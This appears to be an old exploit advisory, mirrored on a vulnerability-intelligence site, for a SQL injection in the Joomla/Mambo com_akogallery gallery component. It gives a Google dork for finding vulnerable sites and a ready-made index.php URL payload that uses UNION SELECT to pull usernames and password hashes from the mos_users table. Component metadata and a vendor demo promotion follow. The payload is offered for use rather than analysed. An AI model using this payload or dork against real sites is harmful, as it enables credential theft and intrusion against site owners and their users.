Joomla SQL Injection in com_akogallery component. Exploiting index.php vulnerability to retrieve usernames and passwords
`#########################################################################
#
#
# joomla SQL Injection(com_akogallery)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#########################################################################
#
# DorKs 1 : allinurl: "com_akogallery"
#
########################################################################
EXPLOIT :
index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*
#########################################################################
# S@BUN www.hackturkiye.com S@BUN
#########################################################################
# S@BUN GOOD LUCKY S@BUN
#########################################################################
<name>akogallery</name>
<creationDate>21.06.2004</creationDate>
<author>Arthur Konze</author>
<copyright>Copyright 2003, 2004 by Arthur Konze. Distribution prohibited!</copyright>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.mamboportal.com</authorUrl>
<version>2.5 beta</version>
<description>AkoGallery is a fully integrated Mambo picture gallery component.</description>
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo